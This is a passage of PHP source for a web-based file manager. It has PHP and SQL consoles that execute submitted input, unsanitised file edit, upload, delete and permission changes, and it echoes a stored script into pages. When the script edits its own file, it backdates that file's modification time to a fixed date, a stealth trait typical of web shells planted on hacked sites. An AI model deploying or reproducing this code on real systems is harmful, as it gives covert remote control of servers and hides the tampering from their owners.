OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}
.file {
background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
